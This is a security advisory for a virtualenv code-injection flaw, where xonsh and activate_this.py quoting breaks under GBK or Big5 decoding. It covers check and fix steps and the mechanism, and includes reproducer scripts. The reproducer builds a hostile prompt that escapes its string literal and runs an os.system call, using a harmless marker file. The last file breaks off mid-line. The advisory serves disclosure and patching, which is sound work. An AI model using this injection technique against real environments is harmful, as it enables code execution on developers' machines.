---
id: "CVE-2026-113718"
kind: "vulnerability"
aliases: ["CVE-2026-113718", "GHSA-394h-qwmc-48pf"]
title: "virtualenv: Xonsh activation literals depend on the script decoding codec"
severity: "high"
cvss: 7.1
epss: 0.00142
exploited: false
status: "open"
category: "package"
products: [{"name": "virtualenv", "fixed": ["21.14.9"], "affected": "< 21.14.9", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ci", "cwe-94", "developer-machines", "package", "posix", "python", "virtualenv", "xonsh"]
not_affected_if: ["does-not-use-xonsh", "trusted-prompt-values", "utf-8-xonsh-encoding", "windows"]
published_at: "2026-10-20T20:17:18+00:00"
first_seen_at: "2026-10-23T21:57:21+00:00"
updated_at: "2026-10-25T03:34:37+00:00"
sources: [{"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113718", "first_seen_at": "2026-10-23T21:57:21+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-394h-qwmc-48pf", "first_seen_at": "2026-10-23T22:27:42+00:00"}]
---

# virtualenv: Xonsh activation literals depend on the script decoding codec

virtualenv writes the xonsh activation script with a quoting method that breaks under legacy multibyte source encodings such as GBK or Big5. A prompt or destination value supplied as a virtualenv argument can close the string literal and run statements when the user later activates the environment.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:virtualenv affected < 21.14.9 fixed 21.14.9

## How to check

- Run `pip show virtualenv` and check whether the version is below `21.14.9`.
- Check whether any environment uses xonsh and has an `activate.xsh` file generated by an older version.
- Check whether `$XONSH_ENCODING` is set to a non-UTF-8 encoding such as GBK or Big5 on machines that activate these environments.

## Fix

- Upgrade virtualenv to `21.14.9` or later with `pip install --upgrade virtualenv`.
- Recreate existing environments that were generated by older releases, because `activate.xsh` must be regenerated after the fix.
- Until upgraded, use only trusted prompt and destination values, or set xonsh source decoding to UTF-8 on older releases.

## Timeline

- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113718
- 2026-10-23T22:27:42+00:00 ghsa https://github.com/advisories/GHSA-394h-qwmc-48pf

## From the sources

## Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

## Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.

## Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.

## Affected code

The relevant 21.14.8 source is in
[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),
[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).

## Mechanism

The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters
in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK
or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.
The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal
and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

## Reproduction and evidence

The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile
prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`
controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.
[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to
`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,
decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of
the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is
attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.

## Attack sequence

```mermaid
sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")
```

**`repro.d/activate_with_exec_open.py`**

```text
#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")
```

**`repro.d/install_gbk_locale.py`**

```text
#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sy

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
